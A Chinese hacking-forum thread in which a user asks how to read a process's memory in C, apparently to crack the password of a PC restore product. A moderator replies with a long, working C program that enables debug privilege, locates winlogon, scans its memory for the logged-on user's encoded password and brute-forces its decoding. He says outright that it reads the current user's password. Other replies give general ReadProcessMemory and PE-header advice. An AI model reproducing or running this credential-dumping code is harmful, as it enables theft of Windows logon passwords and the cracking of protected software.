论坛: 编程破解 标题: 关于内存(有心帮忙的进来,谢!) 复制本贴地址    
作者: yangxius [yangxius]    论坛用户   登录
哪位大哥能告诉小弟怎么用C语言或者是VB。实现某个内存段的取值。
然后再把值按字符放到一个数组中。谢谢。

地主 发表时间: 11/30 09:36

回复: yangxius [yangxius]   论坛用户   登录
如果哪位大哥能附上源码更好了。谢谢!

B1层 发表时间: 11/30 09:39

回复: ziaichen [ziaichen]   论坛用户   登录
内存段的取值??/
你能先把你想干什么讲的具体点、清楚点,好吗?


B2层 发表时间: 11/30 11:59

回复: yangxius [yangxius]   论坛用户   登录
比如说,随windows启动的程序吧。其实随便找一个随系统启动而启动的程序都行。因为每台机器的配置都不同,所以调用这个系统文件以后在内存中的位置都是不同的,但有一点是相同的,就是这个程序中的某一个字符串的相对地址是不变的。就如在一台计算机上一个进程a.exe启动以后的段首地址是2000:0000,但这个a.exe在别的机器上运行的首地址并不一定是2000:0000。这个程序中有一个字符串"abcdefg"在这内存中的相对地址是相同的吧,所以要求的就是这个进程的段首地址。希望有心帮忙的帮一把。急呀 。

B3层 发表时间: 11/30 19:45

回复: ziaichen [ziaichen]   论坛用户   登录
哎,我太菜了,暂时还不会
我帮你顶!

B4层 发表时间: 11/30 21:11

回复: 286 [unique]   版主   登录
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);

PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength=0;
PVOID RealPasswordP=NULL;
PVOID PasswordP=NULL;
DWORD HashByte=0;
wchar_t UserName[0x400];
wchar_t UserDomain[0x400];

CString temp;
HANDLE Token;
    TOKEN_PRIVILEGES TokenPrivileges,PreviousState;
    DWORD returnLength=0;
    if (OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,&Token))
        if (LookupPrivilegeValue(NULL,"SeDebugPrivilege",&TokenPrivileges.Privileges[0].Luid))
        {
            TokenPrivileges.PrivilegeCount=1;
            TokenPrivileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(Token,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),&PreviousState,&returnLength)!=TRUE)
return "";
        }

HINSTANCE hNtDll=LoadLibrary("NTDLL.DLL");
pfnNtQuerySystemInformation=(PFNNTQUERYSYSTEMINFORMATION)GetProcAddress(hNtDll,"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer=(PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation=(PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer=(PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString=(PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString");

#define INITIAL_ALLOCATION 0x100
DWORD rc=0;
DWORD SizeNeeded=0;
PVOID InfoP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,INITIAL_ALLOCATION);
pfnNtQuerySystemInformation(0x10,InfoP,INITIAL_ALLOCATION,&SizeNeeded);
HeapFree(GetProcessHeap(),0,InfoP);
InfoP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,SizeNeeded);
DWORD SizeWritten=SizeNeeded;
if (pfnNtQuerySystemInformation(0x10,InfoP,SizeNeeded,&SizeWritten))
{
HeapFree(GetProcessHeap(),0,InfoP);
return "";
}
DWORD NumHandles=SizeWritten/sizeof(QUERY_SYSTEM_INFORMATION);
if (NumHandles==0)
{
HeapFree(GetProcessHeap(),0,InfoP);
return "";
}
PQUERY_SYSTEM_INFORMATION QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)InfoP;
DWORD i;
for (i=1;i<=NumHandles;i++)
{
if (QuerySystemInformationP->HandleType==5)
{
PVOID DebugBufferP=pfnRtlCreateQueryDebugBuffer(0,0);
if (pfnRtlQueryProcessDebugInformation(QuerySystemInformationP->PID,1,DebugBufferP)==0)
{
PPROCESS_INFO_HEADER ProcessInfoHeaderP=(PPROCESS_INFO_HEADER)((DWORD)DebugBufferP+0x60);
DWORD Count=ProcessInfoHeaderP->Count;
PPROCESS_INFO ProcessInfoP=(PPROCESS_INFO)((DWORD)ProcessInfoHeaderP+sizeof(PROCESS_INFO_HEADER));
if (strstr(_strupr(ProcessInfoP->Name),"WINLOGON")!=0)
{
DWORD i;
DWORD dw=(DWORD)ProcessInfoP;
for (i=0;i<Count;i++)
{
dw+=sizeof(PROCESS_INFO);
ProcessInfoP=(PPROCESS_INFO)dw;
if (strstr(_strupr(ProcessInfoP->Name),"NWGINA")!=0)
return "";
if (strstr(_strupr(ProcessInfoP->Name),"MSGINA")==0)
rc=QuerySystemInformationP->PID;
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
HeapFree(GetProcessHeap(),0,InfoP);
break;
}
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer(DebugBufferP);
}
DWORD dw=(DWORD)QuerySystemInformationP;
dw+=sizeof(QUERY_SYSTEM_INFORMATION);
QuerySystemInformationP=(PQUERY_SYSTEM_INFORMATION)dw;
}
HeapFree(GetProcessHeap(),0,InfoP);

DWORD WinLogonPID=rc;
memset(UserName,0,sizeof(UserName));
memset(UserDomain,0,sizeof(UserDomain));

GetEnvironmentVariableW(L"USERNAME",UserName,0x400);
GetEnvironmentVariableW(L"USERDOMAIN",UserDomain,0x400);
BOOL FoundPasswordPage=FALSE;

#define USER_DOMAIN_OFFSET_WIN2K    0x400
#define USER_PASSWORD_OFFSET_WIN2K  0x800
HANDLE WinLogonHandle=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,WinLogonPID);
if (WinLogonHandle==0)
return "";
PasswordLength=0;
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
i=(DWORD)SystemInfo.lpMinimumApplicationAddress;
DWORD MaxMemory=(DWORD) SystemInfo.lpMaximumApplicationAddress;
DWORD Increment=SystemInfo.dwPageSize;
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
while (i<MaxMemory)
{
if (VirtualQueryEx(WinLogonHandle,(PVOID)i,&MemoryBasicInformation,sizeof(MEMORY_BASIC_INFORMATION)))
{
Increment = MemoryBasicInformation.RegionSize;
if (((MemoryBasicInformation.State&MEM_COMMIT)==MEM_COMMIT)&&((MemoryBasicInformation.Protect & PAGE_GUARD)==0))
{
PVOID RealStartingAddressP=HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MemoryBasicInformation.RegionSize);
DWORD BytesCopied=0;
if (ReadProcessMemory(WinLogonHandle,(PVOID)i,RealStartingAddressP,MemoryBasicInformation.RegionSize,&BytesCopied))
{
if ((wcsicmp((wchar_t *) RealStartingAddressP,UserName)==0)&&(wcsicmp((wchar_t *)((DWORD)RealStartingAddressP+USER_DOMAIN_OFFSET_WIN2K),UserDomain)==0))
{
RealPasswordP=(PVOID)(i+USER_PASSWORD_OFFSET_WIN2K);
PasswordP=(PVOID)((DWORD)RealStartingAddressP+USER_PASSWORD_OFFSET_WIN2K);
PBYTE p=(PBYTE)PasswordP;
DWORD Loc=(DWORD)p;
DWORD Len=0;
if (!((*p==0)&&(*(PBYTE)((DWORD)p+1)==0)))
do{
Len++;
Loc+=2;
p=(PBYTE)Loc;
}while(*p!=0);
PasswordLength=Len;
CloseHandle(WinLogonHandle);
if (PasswordLength==0)
{
return temp;
}
else
{

DWORD i,Hash=0;
UNICODE_STRING EncodedString;
EncodedString.Length=(USHORT)PasswordLength*sizeof(wchar_t);
EncodedString.MaximumLength=((USHORT)PasswordLength*sizeof(wchar_t))+sizeof(wchar_t);
EncodedString.Buffer=(PWSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,EncodedString.MaximumLength);
for (i=0;i<=0xff;i++)
{
CopyMemory(EncodedString.Buffer,PasswordP,PasswordLength*sizeof(wchar_t));
pfnRtlRunDecodeUnicodeString((BYTE)i,&EncodedString);
PBYTE p=(PBYTE)EncodedString.Buffer;
BOOL Viewable=TRUE;
DWORD j,k;
for (j=0;(j<PasswordLength)&&Viewable;j++)
{
if ((*p)&&(*(PBYTE)(DWORD(p)+1)==0))
{
if (*p<' ' || *p>'~')
Viewable=FALSE;
}
else
Viewable = FALSE;
k=DWORD(p);
k++;k++;
p=(PBYTE)k;
}
if (Viewable)
{
}
}
HeapFree(GetProcessHeap(),0,EncodedString.Buffer);
}
}
}
HeapFree(GetProcessHeap(),0,RealStartingAddressP);
}
}
else
Increment=SystemInfo.dwPageSize;
i += Increment;
}
CloseHandle(WinLogonHandle);
FreeLibrary(hNtDll);

B5层 发表时间: 12/01 09:17

回复: 286 [unique]   版主   登录
上面代码可以读出内存中当前用户的口令.
说白了你不就想要这段代码吗?!
:)


[此贴被 286(unique) 在 12月01日15时56分 编辑过]

B6层 发表时间: 12/01 09:17

回复: blegding [blegding]   论坛用户   登录
我看到c发晕。。。但是这不是我放弃c的理由。。哈哈。。~

B7层 发表时间: 12/01 10:23

回复: realpope [realpope]   论坛用户   登录
286的程序更让我发晕  呵呵

B8层 发表时间: 12/01 11:33

回复: lwei889 [lwei889]   论坛用户   登录
学c一年了,但还是看不懂,不过会努力的!!!!!

B9层 发表时间: 12/01 12:35

回复: tuzi [tuzi]   版主   登录
286 你是干什么的
我就跟你打工了 
妈的 不信这C语言 学不好:)

B10层 发表时间: 12/01 15:26

回复: flyfalcon [flyfalcon]      登录
你那是VC,我看不懂啊,晕倒
我用的是TC,明年得自学VC,

造个核弹,玩玩

B11层 发表时间: 12/01 16:12

回复: yangxius [yangxius]   论坛用户   登录
谢了,原来这么复杂呀,我还以为几个简单的语句就能实现呢。哎。我真菜。

B12层 发表时间: 12/02 12:11

回复: leonshoh [leonshoh]   论坛用户   登录
晕,根本没有必要使用NATIVE API,用普通的API够了~
用ReadProcessMemory读嘛~~
要其他进程的地址先提升权限,然后用OpenProcess拿句柄~~~

困了~~~~

B13层 发表时间: 12/02 12:42

回复: yangxius [yangxius]   论坛用户   登录
我想实现的功能不是读出用户口令。因为我最近我把",网络还原大师“的密码解了。它是利用了加密口令的。因为我找到了加密的方法,虽然我能找到那串密文的地址,但是我无法用语言来实现。因为我想编一个破解程序。所以就麻烦版主了。但谢谢了,我会努力的。

B14层 发表时间: 12/03 19:56

回复: shesh [shesh]   版主   登录
windows 不能读写绝对地址,只能读写某个进程的虚拟地址.

ReadProcessMemory
WriteProcessMemory



B15层 发表时间: 12/04 09:49

回复: yangxius [yangxius]   论坛用户   登录
是呀,进程在读取到内存的时候每台机器都是不一样的。但我感觉它在内存中总是有一个标志,表示它被分配的内存段吧?所以我想要实现的就是找到这个进程的地址段。

B16层 发表时间: 12/04 11:12

回复: 286 [unique]   版主   登录
我早就知道你要找的是这个标志(应该叫段页基址寄存器吧),但你为什么不想想,如果空个标志随随便便那个人都能用的话,那岂不是谁想改哪就敢哪了?那你编的程序就是操作系统的一部分了。
就好象随便哪个员工就可以查公司所有职员的帐号、个人档案一样了。

当然了,真要查还是能查的,呵呵,除非你上升到经理一级,也就是说你的程序首先要在管理员组成员模式下运行,然后你进入RING0,然后获得系统令牌,然后找到你所要的那个程序首地址,然后把那个程序设置为调试模式,也就是说你告诉系统你要调试这个程序,然后................

好了,别再问下去了,源程序就是上面的程序,看不看由你。

B17层 发表时间: 12/05 09:17

回复: huweiwei [huweiwei]   论坛用户   登录
?看的我满头问号

B18层 发表时间: 12/05 23:45

回复: yangxius [yangxius]   论坛用户   登录
谢谢了,我会努力把它上升到系统进程的级别的,就象一些木马一样,哈哈哈。如果补丁做出来我会把286也写进去的。哈。

B19层 发表时间: 12/06 08:16

回复: yangxius [yangxius]   论坛用户   登录
ddd

B20层 发表时间: 12/07 09:32

回复: softlib [softlib]   论坛用户   登录
如果是 PE EXE 那么它的装载地址是根据 PE 格式里 IMAGE_NT_HEADERS
结构中 IMAGE_OPTIONAL_HEADER 结构的 ImageBase 决定的,EXE 文件
一般被指为 0x40000000。你所说的相对地址就是 RVA,你完全可以从这
里读起。可以用 VirtualQueryEx 来查询进程内存,判断 MEMORY_BASIC_INFORMATION 结构中 State 等于 MEM_COMMIT 即是有效
内存,然后用 ReadProcessMemory 来读取。


B21层 发表时间: 12/07 21:12

回复: yangcheng [yangcheng]   论坛用户   登录
晕!

B22层 发表时间: 12/08 11:15

回复: yangxius [yangxius]   论坛用户   登录
还 你的简单明了。一看就明白,哈哈。

B23层 发表时间: 12/09 15:26

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号